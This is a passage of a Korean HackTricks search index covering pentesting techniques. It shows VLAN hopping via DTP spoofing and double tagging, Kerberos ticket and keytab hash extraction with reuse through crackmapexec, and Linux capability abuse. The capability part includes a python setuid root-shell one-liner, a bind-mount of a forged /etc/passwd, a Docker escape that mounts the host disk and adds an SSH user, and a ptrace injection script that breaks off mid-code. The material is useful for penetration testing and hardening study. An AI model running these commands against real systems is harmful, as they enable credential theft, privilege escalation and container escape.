상황에서 공격자는 일반 액세스 포트에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다:","breadcrumbs":"Pentesting Network » Lateral VLAN Segmentation Bypass » 기타 VLAN-호핑 기술 (특권 스위치 CLI 없음)","id":"182","title":"기타 VLAN-호핑 기술 (특권 스위치 CLI 없음)"},"1820":{"body":"프로세스의 메모리에 저장된 Kerberos 티켓은 추출될 수 있습니다 , 특히 머신의 ptrace 보호가 비활성화된 경우 (/proc/sys/kernel/yama/ptrace_scope). 이 목적을 위한 유용한 도구는 https://github.com/TarlogicSecurity/tickey 에서 찾을 수 있으며, 세션에 주입하고 티켓을 /tmp로 덤프하여 추출을 용이하게 합니다. 이 도구를 구성하고 사용하기 위해서는 아래 단계를 따릅니다: bash git clone https://github.com/TarlogicSecurity/tickey\\ncd tickey/tickey\\nmake CONF=Release\\n/tmp/tickey -i 이 절차는 다양한 세션에 주입을 시도하며, 성공 시 추출된 티켓을 /tmp에 __krb_UID.ccache라는 명명 규칙으로 저장합니다.","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » CCACHE 티켓 재사용 from keyring","id":"1820","title":"CCACHE 티켓 재사용 from keyring"},"1821":{"body":"SSSD는 /var/lib/sss/secrets/secrets.ldb 경로에 데이터베이스의 복사본을 유지합니다. 해당 키는 /var/lib/sss/secrets/.secrets.mkey 경로에 숨겨진 파일로 저장됩니다. 기본적으로, 키는 root 권한이 있는 경우에만 읽을 수 있습니다. **SSSDKCMExtractor**를 --database 및 --key 매개변수와 함께 호출하면 데이터베이스를 구문 분석하고 비밀을 복호화 합니다. bash git clone https://github.com/fireeye/SSSDKCMExtractor\\npython3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey 자격 증명 캐시 Kerberos blob은 Mimikatz/Rubeus에 전달할 수 있는 사용 가능한 Kerberos CCache 파일로 변환될 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » SSSD KCM의 CCACHE 티켓 재사용","id":"1821","title":"SSSD KCM의 CCACHE 티켓 재사용"},"1822":{"body":"bash git clone https://github.com/its-a-feature/KeytabParser\\npython KeytabParser.py /etc/krb5.keytab\\nklist -k /etc/krb5.keytab","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » CCACHE 티켓 재사용 from keytab","id":"1822","title":"CCACHE 티켓 재사용 from keytab"},"1823":{"body":"루트 권한으로 운영되는 서비스에 필수적인 서비스 계정 키는 /etc/krb5.keytab 파일에 안전하게 저장됩니다. 이 키는 서비스의 비밀번호와 유사하며, 엄격한 기밀성을 요구합니다. keytab 파일의 내용을 검사하기 위해 **klist**를 사용할 수 있습니다. 이 도구는 사용자 인증을 위한 NT Hash 를 포함한 키 세부 정보를 표시하도록 설계되었습니다. 특히 키 유형이 23으로 식별될 때 그렇습니다. bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab\\n# Output includes service principal details and the NT Hash Linux 사용자에게 **KeyTabExtract**는 NTLM 해시 재사용을 위해 활용할 수 있는 RC4 HMAC 해시를 추출하는 기능을 제공합니다. bash python3 keytabextract.py krb5.keytab\\n# Expected output varies based on hash availability macOS에서 **bifrost**는 keytab 파일 분석을 위한 도구로 사용됩니다. bash ./bifrost -action dump -source keytab -path /path/to/your/file 추출된 계정 및 해시 정보를 활용하여 **crackmapexec**와 같은 도구를 사용하여 서버에 연결할 수 있습니다. bash crackmapexec 10.XXX.XXX.XXX -u \'ServiceAccount$\' -H \\"HashPlaceholder\\" -d \\"YourDOMAIN\\"","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » /etc/krb5.keytab에서 계정 추출","id":"1823","title":"/etc/krb5.keytab에서 계정 추출"},"1824":{"body":"https://www.tarlogic.com/blog/how-to-attack-kerberos/ https://github.com/TarlogicSecurity/tickey https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » References","id":"1824","title":"References"},"1825":{"body":"Reading time: 45 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » Linux Capabilities","id":"1825","title":"Linux Capabilities"},"1826":{"body":"Linux capabilities는 루트 권한을 더 작고 구별된 단위로 나누어 , 프로세스가 권한의 하위 집합을 가질 수 있도록 합니다. 이는 불필요하게 전체 루트 권한을 부여하지 않음으로써 위험을 최소화합니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » Linux Capabilities","id":"1826","title":"Linux Capabilities"},"1827":{"body":"일반 사용자는 제한된 권한을 가지며, 이는 루트 접근이 필요한 네트워크 소켓 열기와 같은 작업에 영향을 미칩니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » 문제:","id":"1827","title":"문제:"},"1828":{"body":"상속된 (CapInh) : 목적 : 부모 프로세스에서 전달된 권한을 결정합니다. 기능 : 새로운 프로세스가 생성될 때, 이 세트에서 부모로부터 권한을 상속받습니다. 프로세스 생성 간 특정 권한을 유지하는 데 유용합니다. 제한 : 프로세스는 부모가 가지지 않은 권한을 얻을 수 없습니다. 유효 (CapEff) : 목적 : 프로세스가 현재 사용하는 실제 권한을 나타냅니다. 기능 : 다양한 작업에 대한 권한을 부여하기 위해 커널이 확인하는 권한 세트입니다. 파일의 경우, 이 세트는 파일의 허용된 권한이 유효한지 여부를 나타내는 플래그가 될 수 있습니다. 의의 : 유효 세트는 즉각적인 권한 확인에 중요하며, 프로세스가 사용할 수 있는 활성 권한 세트로 작용합니다. 허용 (CapPrm) : 목적 : 프로세스가 가질 수 있는 최대 권한 세트를 정의합니다. 기능 : 프로세스는 허용 세트에서 유효 세트로 권한을 상승시킬 수 있으며, 이를 통해 해당 권한을 사용할 수 있습니다. 또한 허용 세트에서 권한을 제거할 수도 있습니다. 경계 : 프로세스가 가질 수 있는 권한의 상한선 역할을 하여, 프로세스가 미리 정의된 권한 범위를 초과하지 않도록 보장합니다. 경계 (CapBnd) : 목적 : 프로세스가 생애 동안 획득할 수 있는 권한에 한계를 둡니다. 기능 : 프로세스가 상속 가능하거나 허용된 세트에서 특정 권한을 가지고 있더라도, 경계 세트에 포함되지 않으면 해당 권한을 획득할 수 없습니다. 사용 사례 : 이 세트는 프로세스의 권한 상승 가능성을 제한하는 데 특히 유용하며, 추가적인 보안 계층을 추가합니다. 환경 (CapAmb) : 목적 : 특정 권한이 execve 시스템 호출을 통해 유지될 수 있도록 하며, 이는 일반적으로 프로세스의 권한이 완전히 초기화되는 결과를 초래합니다. 기능 : 관련 파일 권한이 없는 비-SUID 프로그램이 특정 권한을 유지할 수 있도록 보장합니다. 제한 : 이 세트의 권한은 상속 가능 및 허용 세트의 제약을 받으며, 프로세스의 허용된 권한을 초과하지 않도록 보장합니다. python # Code to demonstrate the interaction of different capability sets might look like this:\\n# Note: This is pseudo-code for illustrative purposes only.\\ndef manage_capabilities(process):\\nif process.has_capability(\'cap_setpcap\'):\\nprocess.add_capability_to_set(\'CapPrm\', \'new_capability\')\\nprocess.limit_capabilities(\'CapBnd\')\\nprocess.preserve_capabilities_across_execve(\'CapAmb\') 더 많은 정보는 다음을 확인하세요: https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work https://blog.ploetzli.ch/2014/understanding-linux-capabilities/","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » 권한 세트:","id":"1828","title":"권한 세트:"},"1829":{"body":"","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » 프로세스 및 바이너리 권한","id":"1829","title":"프로세스 및 바이너리 권한"},"183":{"body":"DTP가 활성화된 Cisco 스위치는 피어가 스위치라고 주장하면 기꺼이 트렁크를 협상합니다. 단일 DTP “desirable” 또는 “trunk” 프레임을 작성하면 액세스 포트가 모든 허용된 VLAN을 전송하는 802.1Q 트렁크로 변환됩니다. Yersinia 및 여러 PoC가 이 프로세스를 자동화합니다: bash # Become a trunk using Yersinia (GUI)\\nsudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof)\\ngit clone https://github.com/fleetcaptain/dtp-spoof.git\\nsudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable Recon helper (포트의 DTP 상태를 수동으로 지문 인식하기): bash sudo modprobe 8021q\\nsudo ip link add link eth0 name eth0.30 type vlan id 30\\nsudo ip addr add 10.10.30.66/24 dev eth0.30\\nsudo ip link set eth0.30 up # or wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py\\nsudo python3 dtpscan.py -i eth0 포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다.","breadcrumbs":"Pentesting Network » Lateral VLAN Segmentation Bypass » 1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑","id":"183","title":"1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑"},"1830":{"body":"특정 프로세스의 권한을 보려면 /proc 디렉토리의 status 파일을 사용하세요. 더 많은 세부정보를 제공하므로 Linux 권한과 관련된 정보로만 제한합시다. 모든 실행 중인 프로세스의 권한 정보는 스레드별로 유지되며, 파일 시스템의 바이너리에 대해서는 확장 속성에 저장됩니다. /usr/include/linux/capability.h에서 정의된 권한을 찾을 수 있습니다. 현재 프로세스의 권한은 cat /proc/self/status 또는 capsh --print를 사용하여 확인할 수 있으며, 다른 사용자의 권한은 /proc//status에서 확인할 수 있습니다. bash cat /proc/1234/status | grep Cap\\ncat /proc/$$/status | grep Cap #This will print the capabilities of the current process 이 명령은 대부분의 시스템에서 5줄을 반환해야 합니다. CapInh = 상속된 권한 CapPrm = 허용된 권한 CapEff = 유효한 권한 CapBnd = 경계 집합 CapAmb = 환경 권한 집합 bash #These are the typical capabilities of a root owned process (all)\\nCapInh: 0000000000000000\\nCapPrm: 0000003fffffffff\\nCapEff: 0000003fffffffff\\nCapBnd: 0000003fffffffff\\nCapAmb: 0000000000000000 이 16진수 숫자는 의미가 없습니다. capsh 유틸리티를 사용하여 이를 권한 이름으로 디코딩할 수 있습니다. bash capsh --decode=0000003fffffffff\\n0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 이제 ping에서 사용되는 capabilities 를 확인해 봅시다: bash cat /proc/9491/status | grep Cap\\nCapInh: 0000000000000000\\nCapPrm: 0000000000003000\\nCapEff: 0000000000000000\\nCapBnd: 0000003fffffffff\\nCapAmb: 0000000000000000 capsh --decode=0000000000003000\\n0x0000000000003000=cap_net_admin,cap_net_raw 작동하긴 하지만, 더 쉽고 다른 방법이 있습니다. 실행 중인 프로세스의 능력을 보려면, getpcaps 도구를 사용한 다음 프로세스 ID (PID)를 입력하면 됩니다. 프로세스 ID 목록을 제공할 수도 있습니다. bash getpcaps 1234 여기에서 tcpdump의 기능을 확인해 보겠습니다. 이진 파일에 충분한 권한(cap_net_admin 및 cap_net_raw)을 부여하여 네트워크를 스니핑합니다 ( tcpdump는 프로세스 9562에서 실행 중입니다 ): bash #The following command give tcpdump the needed capabilities to sniff traffic\\n$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump $ getpcaps 9562\\nCapabilities for `9562\': = cap_net_admin,cap_net_raw+ep $ cat /proc/9562/status | grep Cap\\nCapInh: 0000000000000000\\nCapPrm: 0000000000003000\\nCapEff: 0000000000003000\\nCapBnd: 0000003fffffffff\\nCapAmb: 0000000000000000 $ capsh --decode=0000000000003000\\n0x0000000000003000=cap_net_admin,cap_net_raw 주어진 능력은 이진 파일의 능력을 얻는 두 가지 방법의 결과와 일치합니다. getpcaps 도구는 capget() 시스템 호출을 사용하여 특정 스레드에 대한 사용 가능한 능력을 쿼리합니다. 이 시스템 호출은 더 많은 정보를 얻기 위해 PID만 제공하면 됩니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » 프로세스 권한","id":"1830","title":"프로세스 권한"},"1831":{"body":"Binaries는 실행 중에 사용할 수 있는 능력을 가질 수 있습니다. 예를 들어, cap_net_raw 능력을 가진 ping 이진 파일을 찾는 것은 매우 일반적입니다: bash getcap /usr/bin/ping\\n/usr/bin/ping = cap_net_raw+ep 바이너리를 능력으로 검색 하려면 다음을 사용하세요: bash getcap -r / 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » Binaries Capabilities","id":"1831","title":"Binaries Capabilities"},"1832":{"body":"CAP NET_RAW 기능을 _ping 에서 제거하면 ping 유틸리티가 더 이상 작동하지 않아야 합니다. bash capsh --drop=cap_net_raw --print -- -c \\"tcpdump\\" _capsh_의 출력 외에도, tcpdump 명령 자체도 오류를 발생시켜야 합니다. /bin/bash: /usr/sbin/tcpdump: Operation not permitted 오류는 ping 명령이 ICMP 소켓을 열 수 없음을 명확히 보여줍니다. 이제 우리는 이것이 예상대로 작동한다는 것을 확실히 알게 되었습니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » Dropping capabilities with capsh","id":"1832","title":"Dropping capabilities with capsh"},"1833":{"body":"이진 파일의 능력을 제거할 수 있습니다. bash setcap -r ","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » 능력 제거","id":"1833","title":"능력 제거"},"1834":{"body":"명백히 사용자에게도 권한을 부여할 수 있습니다 . 이는 아마도 사용자가 실행하는 모든 프로세스가 사용자의 권한을 사용할 수 있음을 의미합니다. 이것 , 이것 및 이것 을 기반으로 특정 권한을 사용자에게 부여하기 위해 몇 가지 파일을 새로 구성해야 하지만, 각 사용자에게 권한을 부여하는 파일은 /etc/security/capability.conf입니다. 파일 예: bash # Simple\\ncap_sys_ptrace developer\\ncap_net_raw user1 # Multiple capablities\\ncap_net_admin,cap_net_raw jrnetadmin\\n# Identical, but with numeric values\\n12,13 jrnetadmin # Combining names and numerics\\ncap_sys_admin,22,25 jrsysadmin","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » 사용자 권한","id":"1834","title":"사용자 권한"},"1835":{"body":"다음 프로그램을 컴파일하면 능력을 제공하는 환경 내에서 bash 셸을 생성할 수 있습니다 . ambient.c /*\\n* Test program for the ambient capabilities\\n*\\n* compile using:\\n* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c\\n* Set effective, inherited and permitted capabilities to the compiled binary\\n* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient\\n*\\n* To get a shell with additional caps that can be inherited do:\\n*\\n* ./ambient /bin/bash\\n*/ #include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include static void set_ambient_cap(int cap) {\\nint rc;\\ncapng_get_caps_process();\\nrc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);\\nif (rc) {\\nprintf(\\"Cannot add inheritable cap\\\\n\\");\\nexit(2);\\n}\\ncapng_apply(CAPNG_SELECT_CAPS);\\n/* Note the two 0s at the end. Kernel checks for these */\\nif (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {\\nperror(\\"Cannot set cap\\");\\nexit(1);\\n}\\n}\\nvoid usage(const char * me) {\\nprintf(\\"Usage: %s [-c caps] new-program new-args\\\\n\\", me);\\nexit(1);\\n}\\nint default_caplist[] = {\\nCAP_NET_RAW,\\nCAP_NET_ADMIN,\\nCAP_SYS_NICE,\\n-1\\n};\\nint * get_caplist(const char * arg) {\\nint i = 1;\\nint * list = NULL;\\nchar * dup = strdup(arg), * tok;\\nfor (tok = strtok(dup, \\",\\"); tok; tok = strtok(NULL, \\",\\")) {\\nlist = realloc(list, (i + 1) * sizeof(int));\\nif (!list) {\\nperror(\\"out of memory\\");\\nexit(1);\\n}\\nlist[i - 1] = atoi(tok);\\nlist[i] = -1;\\ni++;\\n}\\nreturn list;\\n}\\nint main(int argc, char ** argv) {\\nint rc, i, gotcaps = 0;\\nint * caplist = NULL;\\nint index = 1; // argv index for cmd to start\\nif (argc < 2)\\nusage(argv[0]);\\nif (strcmp(argv[1], \\"-c\\") == 0) {\\nif (argc <= 3) {\\nusage(argv[0]);\\n}\\ncaplist = get_caplist(argv[2]);\\nindex = 3;\\n}\\nif (!caplist) {\\ncaplist = (int * ) default_caplist;\\n}\\nfor (i = 0; caplist[i] != -1; i++) {\\nprintf(\\"adding %d to ambient list\\\\n\\", caplist[i]);\\nset_ambient_cap(caplist[i]);\\n}\\nprintf(\\"Ambient forking shell\\\\n\\");\\nif (execv(argv[index], argv + index))\\nperror(\\"Cannot exec\\");\\nreturn 0;\\n} bash gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c\\nsudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient\\n./ambient /bin/bash 컴파일된 환경 바이너리에 의해 실행된 bash 내부에서 새로운 권한 을 관찰할 수 있습니다(일반 사용자는 \\"현재\\" 섹션에서 어떤 권한도 가지지 않습니다). bash capsh --print\\nCurrent: = cap_net_admin,cap_net_raw,cap_sys_nice+eip caution 당신은 허용된 세트와 상속 가능한 세트 모두에 존재하는 능력만 추가할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » Environment Capabilities","id":"1835","title":"Environment Capabilities"},"1836":{"body":"능력 인식 바이너리는 환경에서 제공된 새로운 능력을 사용하지 않지만, 능력 무시 바이너리는 이를 거부하지 않기 때문에 사용할 것입니다. 이는 능력을 바이너리에 부여하는 특별한 환경 내에서 능력 무시 바이너리를 취약하게 만듭니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » 능력 인식/능력 무시 바이너리","id":"1836","title":"능력 인식/능력 무시 바이너리"},"1837":{"body":"기본적으로 루트로 실행되는 서비스는 모든 능력이 할당됩니다 , 그리고 경우에 따라 이는 위험할 수 있습니다. 따라서, 서비스 구성 파일은 원하는 능력 과 서비스를 실행해야 하는 사용자 를 지정 할 수 있게 하여 불필요한 권한으로 서비스를 실행하지 않도록 합니다: bash [Service]\\nUser=bob\\nAmbientCapabilities=CAP_NET_BIND_SERVICE","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » 서비스 능력","id":"1837","title":"서비스 능력"},"1838":{"body":"기본적으로 Docker는 컨테이너에 몇 가지 기능을 할당합니다. 이러한 기능이 무엇인지 확인하는 것은 매우 쉽습니다: bash docker run --rm -it r.j3ss.co/amicontained bash\\nCapabilities:\\nBOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap # Add a capabilities\\ndocker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash # Add all capabilities\\ndocker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one\\ndocker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » Capabilities in Docker Containers","id":"1838","title":"Capabilities in Docker Containers"},"1839":{"body":"Capabilities는 특권 작업을 수행한 후 자신의 프로세스를 제한하고자 할 때 유용합니다 (예: chroot를 설정하고 소켓에 바인딩한 후). 그러나 악의적인 명령이나 인수를 전달하여 루트로 실행되도록 악용될 수 있습니다. setcap을 사용하여 프로그램에 능력을 강제할 수 있으며, getcap을 사용하여 이를 조회할 수 있습니다: bash #Set Capability\\nsetcap cap_net_raw+ep /sbin/ping #Get Capability\\ngetcap /sbin/ping\\n/sbin/ping = cap_net_raw+ep +ep는 능력을 추가하고 있음을 의미합니다 (“-”는 이를 제거합니다) 효과적이고 허용된 것으로. 시스템이나 폴더에서 능력을 가진 프로그램을 식별하려면: bash getcap -r / 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » Privesc/Container Escape","id":"1839","title":"Privesc/Container Escape"},"184":{"body":"공격자가 네이티브(언태그) VLAN 에 있을 경우, 두 개 의 802.1Q 헤더가 있는 조작된 프레임이 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 이동할 수 있습니다. VLANPWN DoubleTagging.py (2022-2025 리프레시)와 같은 도구는 주입을 자동화합니다: bash python3 DoubleTagging.py \\\\\\n--interface eth0 \\\\\\n--nativevlan 1 \\\\\\n--targetvlan 20 \\\\\\n--victim 10.10.20.24 \\\\\\n--attacker 10.10.1.54","breadcrumbs":"Pentesting Network » Lateral VLAN Segmentation Bypass » 2. 더블 태깅 (네이티브 VLAN 남용)","id":"184","title":"2. 더블 태깅 (네이티브 VLAN 남용)"},"1840":{"body":"다음 예제에서 이진 파일 /usr/bin/python2.6가 권한 상승에 취약한 것으로 발견되었습니다: bash setcap cap_setuid+ep /usr/bin/python2.7\\n/usr/bin/python2.7 = cap_setuid+ep #Exploit\\n/usr/bin/python2.7 -c \'import os; os.setuid(0); os.system(\\"/bin/bash\\");\' Capabilities 필요 tcpdump가 모든 사용자가 패킷을 스니핑할 수 있도록 : bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump\\ngetcap /usr/sbin/tcpdump\\n/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » Exploitation example","id":"1840","title":"Exploitation example"},"1841":{"body":"문서에서 : 빈 권한 세트를 프로그램 파일에 할당할 수 있으며, 따라서 실행하는 프로세스의 유효 및 저장된 사용자 ID를 0으로 변경하는 set-user-ID-root 프로그램을 생성할 수 있지만, 해당 프로세스에 권한을 부여하지는 않습니다. 간단히 말해, 다음 조건을 만족하는 바이너리가 있다면: root에 의해 소유되지 않음 SUID/SGID 비트가 설정되어 있지 않음 빈 권한 세트가 설정되어 있음 (예: getcap myelf가 myelf =ep를 반환) 그렇다면 해당 바이너리는 root로 실행됩니다 .","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » \\"빈\\" 권한의 특별한 경우","id":"1841","title":"\\"빈\\" 권한의 특별한 경우"},"1842":{"body":"** CAP_SYS_ADMIN **은 매우 강력한 Linux 권한으로, 장치 마운트 또는 커널 기능 조작과 같은 광범위한 관리 권한 으로 인해 거의 root 수준에 해당합니다. 전체 시스템을 시뮬레이션하는 컨테이너에 필수적이지만, CAP_SYS_ADMIN은 권한 상승 및 시스템 손상의 잠재력으로 인해 특히 컨테이너화된 환경에서 상당한 보안 문제를 야기합니다. 따라서 이 권한의 사용은 엄격한 보안 평가와 신중한 관리가 필요하며, 최소 권한 원칙 을 준수하고 공격 표면을 최소화하기 위해 애플리케이션 전용 컨테이너에서 이 권한을 제거하는 것이 강력히 권장됩니다. 바이너리 예제 bash getcap -r / 2>/dev/null\\n/usr/bin/python2.7 = cap_sys_admin+ep 파이썬을 사용하여 실제 passwd 파일 위에 수정된 passwd 파일을 마운트할 수 있습니다: bash cp /etc/passwd ./ #Create a copy of the passwd file\\nopenssl passwd -1 -salt abc password #Get hash of \\"password\\"\\nvim ./passwd #Change roots passwords of the fake passwd file 마지막으로 수정된 passwd 파일을 /etc/passwd에 mount 합니다: python from ctypes import *\\nlibc = CDLL(\\"libc.so.6\\")\\nlibc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)\\nMS_BIND = 4096\\nsource = b\\"/path/to/fake/passwd\\"\\ntarget = b\\"/etc/passwd\\"\\nfilesystemtype = b\\"none\\"\\noptions = b\\"rw\\"\\nmountflags = MS_BIND\\nlibc.mount(source, target, filesystemtype, mountflags, options) 그리고 당신은 비밀번호 \\"password\\"를 사용하여 su as root 로 전환할 수 있습니다. 환경 예시 (Docker 탈출) Docker 컨테이너 내에서 활성화된 권한을 확인하려면 다음을 사용하세요: capsh --print\\nCurrent: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep\\nBounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read\\nSecurebits: 00/0x0/1\'b0\\nsecure-noroot: no (unlocked)\\nsecure-no-suid-fixup: no (unlocked)\\nsecure-keep-caps: no (unlocked)\\nuid=0(root)\\ngid=0(root)\\ngroups=0(root) 이전 출력에서 SYS_ADMIN 권한이 활성화되어 있음을 볼 수 있습니다. Mount 이것은 도커 컨테이너가 호스트 디스크를 마운트하고 자유롭게 접근할 수 있도록 허용합니다: bash fdisk -l #Get disk name\\nDisk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors\\nUnits: sectors of 1 * 512 = 512 bytes\\nSector size (logical/physical): 512 bytes / 512 bytes\\nI/O size (minimum/optimal): 512 bytes / 512 bytes mount /dev/sda /mnt/ #Mount it\\ncd /mnt\\nchroot ./ bash #You have a shell inside the docker hosts disk 전체 접근 이전 방법에서는 도커 호스트 디스크에 접근할 수 있었습니다. 호스트가 ssh 서버를 실행 중인 경우, 도커 호스트 디스크 내에 사용자를 생성하고 SSH를 통해 접근할 수 있습니다: bash #Like in the example before, the first step is to mount the docker host disk\\nfdisk -l\\nmount /dev/sda /mnt/ #Then, search for open ports inside the docker host\\nnc -v -n -w2 -z 172.17.0.1 1-65535\\n(UNKNOWN) [172.17.0.1] 2222 (?) open #Finally, create a new user inside the docker host and use it to access via SSH\\nchroot /mnt/ adduser john\\nssh john@172.17.0.1 -p 2222","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_SYS_ADMIN","id":"1842","title":"CAP_SYS_ADMIN"},"1843":{"body":"이것은 호스트에서 실행 중인 일부 프로세스에 쉘코드를 주입하여 컨테이너를 탈출할 수 있음을 의미합니다. 호스트에서 실행 중인 프로세스에 접근하려면 컨테이너를 최소한 --pid=host 옵션으로 실행해야 합니다. ** CAP_SYS_PTRACE **는 ptrace(2)가 제공하는 디버깅 및 시스템 호출 추적 기능과 process_vm_readv(2), process_vm_writev(2)와 같은 교차 메모리 첨부 호출을 사용할 수 있는 능력을 부여합니다. 진단 및 모니터링 목적으로 강력하지만, ptrace(2)에 대한 seccomp 필터와 같은 제한 조치 없이 CAP_SYS_PTRACE가 활성화되면 시스템 보안을 심각하게 저해할 수 있습니다. 특히, 이는 seccomp에 의해 부과된 다른 보안 제한을 우회하는 데 악용될 수 있으며, 이와 같은 개념 증명(PoC) 에서 입증되었습니다. 바이너리(파이썬) 예제 bash getcap -r / 2>/dev/null\\n/usr/bin/python2.7 = cap_sys_ptrace+ep python import ctypes\\nimport sys\\nimport struct\\n# Macros defined in \\n# https://code.woboq.org/qt5/include/sys/ptrace.h.html\\nPTRACE_POKETEXT = 4\\nPTRACE_GETREGS = 12\\nPTRACE_SETREGS = 13\\nPTRACE_ATTACH = 16\\nPTRACE_DETACH = 17\\n# Structure defined in \\n# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct\\nclass user_regs_struct(ctypes.Structure):\\n_fields_ = [\\n(\\"r15\\", ctypes.c_ulonglong),\\n(\\"r14\\", ctypes.c_ulonglong),\\n(\\"r13\\", ctypes.c_ulonglong),\\n(\\"r12\\", ctypes.c_ulonglong),\\n(\\"rbp\\", ctypes.c_ulonglong),\\n(\\"rbx\\", ctypes.c_ulonglong),\\n(\\"r11\\", ctypes.c_ulonglong),\\n(\\"r10\\", 